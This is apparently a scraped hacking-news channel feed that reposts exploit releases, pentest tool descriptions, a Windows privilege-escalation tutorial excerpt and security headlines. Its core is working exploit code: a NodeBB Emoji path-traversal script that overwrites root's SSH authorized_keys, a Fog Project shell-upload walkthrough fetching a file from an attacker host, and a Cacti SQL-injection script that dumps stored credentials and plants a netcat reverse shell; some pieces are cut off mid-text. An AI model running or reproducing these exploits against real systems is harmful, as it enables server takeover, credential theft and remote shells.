Hacking on Medium
The Silent Shell

https://cdn-images-1.medium.com/max/1366/1*fwVy9SKN5sxgZ0CulIp2bQ.jpeg
We live in a world where everything is connected through the internet. Something that is considered as a blessing and a curse at the same…

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
M365_Groups_Enum - Enumerate Microsoft 365 Groups In A Tenant With Their Metadata

https://1.bp.blogspot.com/-WmXSN3q-pEY/YIeuipmmyiI/AAAAAAAAWAc/UJa3T2tPGAczlbErknwhg5fhWcx006sLQCNcBGAsYHQ/s320/m365_groups_enum_1_m365-groups-logo.png
The all_groups.pyscript allows to enumerate all Microsoft 365 Groups in a Azure AD tenant with their metadata:

* name
* visibility: public or private
* description
* email address
* owners
* members
* Teams enabled?
* SharePoint URL (e.g. for Teams shared files)

All of this, even for private Groups! Read more about this on my blog article "Risks of Microsoft Teams and Microsoft 365 Groups"

The reporting.pyscript will take the JSON output from all_groups.pyand generates a CSV files allowing to quickly identify sensitive private or public groups.
Installation

Requirement:

1. Download the repository
2. Install requirements with

pip install -r requirements.txt

Usage

You will need a valid account on the tenant. Different authentication methods are supported:

* via login + password (MFA not supported)

python all_groups.py -u myuser@example.onmicrosoft.com -p MyPassw0rd

* via device authentication, which supports MFA via the browser. Launch then follow instructions

python all_groups.py --device-code

Other methods are also offered. You can read the ROADTools documentation or run the script without any argument to get help.

python all_groups.py

That's all, you don't need more options! The script output will be in all_groups.jsonin the current directory.

Then, if you want a nicer and more concise output from this JSON, use reporting.pyto transform it:

python reporting.py

It automatically takes all_groups.jsonin the current directory, and outputs to all_groups.csvin the same directory.

Acknowledgements

This project uses for authentication the very helpful roadlib from ROADTools by @dirkjanm
Download M365_Groups_Enum

Hacking Articles
Windows Privilege Escalation: SeBackupPrivilege

In this article, we will shed light on some of the methods of Escalating Privilege on Windows-based Devices when it is vulnerable with the SeBackupPrivilege after getting the initial foothold on the device. Table of Content Introduction Setting Up Privilege on Windows 10 Testing Privilege on Windows 10 Exploiting Privilege

The post Windows Privilege Escalation: SeBackupPrivilege appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
NodeBB Emoji 3.2.1 Arbitrary FIle Write

https://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png
NodeBB Emoji plugin version 3.2.1 suffers from an arbitrary file write vulnerability.

MD5 | 49005c6dc65d4c7b995ca019f2d8b491

Download
# Exploit Title: NodeBB Plugin Emoji 3.2.1 - Arbitrary File Write
# Date: 2021-02-01
# Exploit Author: 1F98D
# Software Link: https://nodebb.org/
# Version: Emoji for NodeBB <=
# Tested on: Ubuntu 18.04 (x86)
# Software Link: https://github.com/NodeBB/nodebb-plugin-emoji
#
# The Emoji for NodeBB which is installed by default contains an
# arbitrary file write vulnerability to insecurely handled user controlled
# input.
#
# This exploit requires administrative access to the NodeBB instance in order
# to access the emoji upload API.
#
#!/usr/bin/python3
import requests
import sys
import re
TARGET = 'http://192.168.1.1:4567'
USERNAME = 'admin'
PASSWORD = 'password'
DESTINATION_FILE = '/root/.ssh/authorized_keys'
SOURCE_FILE = '/home/kali/.ssh/id_rsa.pub'
headers = { 'User-Agent': 'NotPython' }
s = requests.Session()
r = s.get('{}/login'.format(TARGET), headers=headers)
if r.status_code != 200:
print('[!] Error, {}/login unavailable'.format(TARGET))
sys.exit(1)
csrf = re.search('name="_csrf" value="(.+)?" />', r.text, re.IGNORECASE)
if csrf is None:
print('[!] Could not extract csrf token to proceed.')
sys.exit(1)
auth = {
'username': USERNAME,
'password': PASSWORD,
'_csrf': csrf.group(1)
}
r = s.post('{}/login'.format(TARGET), headers=headers, data=auth)
if r.status_code != 200:
print('[!] Error, login failed')
print('[!] Status: {}'.format(r.status_code))
print('[!] Response: {}'.format(r.text))
sys.exit(1)
print('[+] Login successful')
r = s.get('{}/admin/plugins/emoji'.format(TARGET), headers=headers)
if r.status_code != 200:
print('[!] Error, could not access emoji plugin')
print('[!] Status: {}'.format(r.status_code))
print('[!] Response: {}'.format(r.text))
sys.exit(1)
print('[+] Emoji plugin is installed')
files = {
'emojiImage': open(SOURCE_FILE)
}
data = {
'fileName': '../../../../../../..{}'.format(DESTINATION_FILE)
}
r = s.post('{}/api/admin/plugins/emoji/upload'.format(TARGET), headers=headers, data=data, files=files)
if r.status_code != 200:
print('[!] Error, could not upload file')
print('[!] Status: {}'.format(r.status_code))
print('[!] Response: {}'.format(r.text))
sys.exit(1)
print('[+] Successfully uploaded file')


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Fog Project 1.5.9 Shell Upload

https://4.bp.blogspot.com/-I-n26yI3Cmk/WWlvWxoCyUI/AAAAAAAAIOM/Fl6K91g5v_sGMssa7qzCkbxeapM4aUyUACLcBGAs/s1600/h50.png
Fog Project version 1.5.9 suffers from a remote shell upload vulnerability.

MD5 | 4137325100e71652f6c4dc385797fd66

Download
# Exploit Title: Fog Project - File Upload RCE (Authenticated)

# Date: 2021-04-28
# Exploit Author: sml@lacashita.com
# Vendor Homepage: https://fogproject.org
# Software Link: https://github.com/FOGProject/fogproject/archive/1.5.9.zip
# Tested on: Debian 10

On the Attacker Machine:

1) Create an empty 10Mb file.
dd if=/dev/zero of=myshell bs=10485760 count=1

2) Add your PHP code to the end of the file created in the step 1.
echo '> myshell

3) Put the file "myshell" accessible through HTTP.
$ cp myshell /var/www/html

4) Encode the URL to get "myshell" file to base64 (Replacing Attacker IP).
$ echo "http://ATTACKER_IP/myshell" | base64
aHR0cDovLzE5Mi4xNjguMS4xMDIvbXlzaGVsbAo=

5) Visit
http://VICTIM_IP/fog/management/index.php?node=about&sub=kernel&file=
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Cacti 1.2.12 SQL Injection / Remote Code Execution

https://1.bp.blogspot.com/-ioJ53oCx49I/WWlvK_l1r2I/AAAAAAAAIMA/qrzTnRYsG8QUcC_eXdokNXQ8WpqzEpJrACLcBGAs/s1600/h16.png
Cacti version 1.2.12 remote code execution exploit that leverages a remote SQL vulnerability.

MD5 | 7d02b8eae5a01a746cf44cba4c1fe1a3

Download
# Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution
# Date: 04/28/2021
# Exploit Author: Leonardo Paiva
# Vendor Homepage: https://www.cacti.net/
# Software Link: https://www.cacti.net/downloads/cacti-1.2.12.tar.gz
# Version: 1.2.12
# Tested on: Ubuntu 20.04
# CVE : CVE-2020-14295
# Credits: @M4yFly (https://twitter.com/M4yFly)
# References:
# https://github.commandcom/Cacti/cacti/issues/3622
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14295

#!/usr/bin/python3

import argparse
import requests
import sys
import urllib.parse
from bs4 import BeautifulSoup

# proxies = {'http': 'http://127.0.0.1:8080'}
def login(url, username, password, session):
print("[+] Connecting to the server...")
get_token_request = session.get(url + "/cacti/index.php", timeout=5) #, proxies=proxies)

print("[+] Retrieving CSRF token...")
html_content = get_token_request.text
soup = BeautifulSoup(html_content, 'html.parser')

csrf_token = soup.find_all('input')[0].get('value').split(';')[0]

if csrf_token:
print(f"[+] Got CSRF token: {csrf_token}")
print("[+] Trying to log in...")

data = {
'__csrf_magic': csrf_token,
'action': 'login',
'login_username': username,
'login_password': password
}

login_request = session.post(url + "/cacti/index.php", data=data) #, proxies=proxies)
if "Invalid User Name/Password Please Retype" in login_request.text:
print("[-] Unable to log in. Check your credentials")
sys.exit()
else:
print("[+] Successfully logged in!")
else:
print("[-] Unable to retrieve CSRF token!")
sys.exit()
def exploit(lhost, lport, session):
rshell = urllib.parse.quote(f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f")
payload = f"')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='{rshell};'+where+name='path_php_binary';--+-"

exploit_request = session.get(url + f"/cacti/color.php?action=export&header=false&filter=1{payload}") #, proxies=proxies)

print("\n[+] SQL Injection:")
print(exploit_request.text)

try:
session.get(url + "/cacti/host.php?action=reindex", timeout=1) #, proxies=proxies)
except Exception:
pass

print("[+] Check your nc listener!")

if __name__ == '__main__':
parser = argparse.ArgumentParser(description='[*] Cacti 1.2.12 - SQL Injection / Remote Code Execution')

parser.add_argument('-t', metavar='
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Security firm Kaspersky believes it found new CIA malware

https://external-preview.redd.it/iiP-N0bNJmkiOxPGHSw2MhH58JgvVHYMOCLRsptWKWc.jpg?width=640&crop=smart&auto=webp&s=ce9d7eef3fa113f4ab169f112a5a5f725b6c0341 submitted by /u/DrinkMoreCodeMore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Looking for the old malduino

I want to buy a malduino, but the old one with the white buttons which represent binary numbers. On the official page I was only able to find the newer ones with usbc, can anyone provide a link or smth?

submitted by /u/Defight556
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
DNSPeep : Spy On The DNS Queries Your Computer Is Making

DNSPeep lets you spy on the DNS queries your computer is making. Here’s some example output: $ sudo dnspeepquery name server IP responseA incoming.telemetry.mozilla.org 192.168.1.1 CNAME: telemetry-incoming.r53-2.services.mozilla.com, CNAME: pipeline-incoming-prod-elb-149169523.us-west-2.elb.amazonaws.com, A: 52.39.144.189, A: 54.191.136.131, A: 34.215.151.143, A: 54.149.208.57, A: 44.226.235.191, A: 52.10.174.113, A: 35.160.138.173, A: 44.238.190.78AAAA incoming.telemetry.mozilla.org 192.168.1.1 CNAME: telemetry-incoming.r53-2.services.mozilla.com, CNAME: pipeline-incoming-prod-elb-149169523.us-west-2.elb.amazonaws.comA www.google.com 192.168.1.1 A: 172.217.13.132AAAA […]

The post DNSPeep : Spy On The DNS Queries Your Computer Is Making appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Windows Privilege Escalation: SeBackupPrivilege

In this article, we will shed light on some of the methods of Escalating Privilege on Windows-based Devices when it is vulnerable with the SeBackupPrivilege after getting the initial foothold on the device. Table of Content· Introduction· Setting Up Privilege on Windows 10· Testing Privilege on Windows 10· Exploiting Privilege on Windows 10· Setting Up Privilege on Domain Controller· Testing Privilege on Domain Controller· Exploiting Privilege on Domain Controller (Method 1)· Exploiting Privilege on Domain Controller (Method 2)· ConclusionThis specific privilege escalation is based on the act of assigning a user SeBackupPrivilege. It was designed for allowing users to create backup copies of the system. Since it is not possible to make a backup of something that you cannot read. This privilege comes at the cost of providing the user with full read access to the file system. This privilege must bypass any ACL that the Administrator has placed in the network. So, in a nutshell, this privilege allows the user to read any file on the entirety of the files that might also include some sensitive files such as the SAM file or SYSTEM Registry file. From the attacker's perspective, this can be exploited after gaining the initial foothold in the system and then moving up to an elevated shell by essentially reading the SAM files and possibly crack the passwords of the high privilege users on the system or network. This article will help you set up the privilege in a VM environment to learn and explore it in detail and then exploit it via Kali Linux. Setting Up Privilege on Windows 10We will be performing this demonstration on a Windows 10 machine that is quite essential not part of a domain. Here, we need to create a user to which we will be providing the privilege. Creating a user is simple, it can be done using a new user command as shown in the image below. net user aarti 123 /addhttps://1.bp.blogspot.com/-INyMgdRQGyE/YIrW1z_VHkI/AAAAAAAAvpE/7B-dRJtWM8M16sqwgDHIaUR9bhcvyHf2gCLcBGAsYHQ/s16000/1.png powershell -ep bypass Install-Module -Name carbon ___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Windows Privilege Escalation: SeBackupPrivilege

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Suspected Chinese Hackers Unleash Malware That Can Survive OS Reinstalls

https://cdn-images-1.medium.com/max/1422/0*M9X2uEtqJJHKSqbg.jpg
It works to create a Trojan file called ‘IntelUpdate.exe’ in the Startup Folder, which will reinstall itself even if the user finds it and…

Continue reading on PC Magazine »

___________________________
@hacking_Attack
@Hacking_Video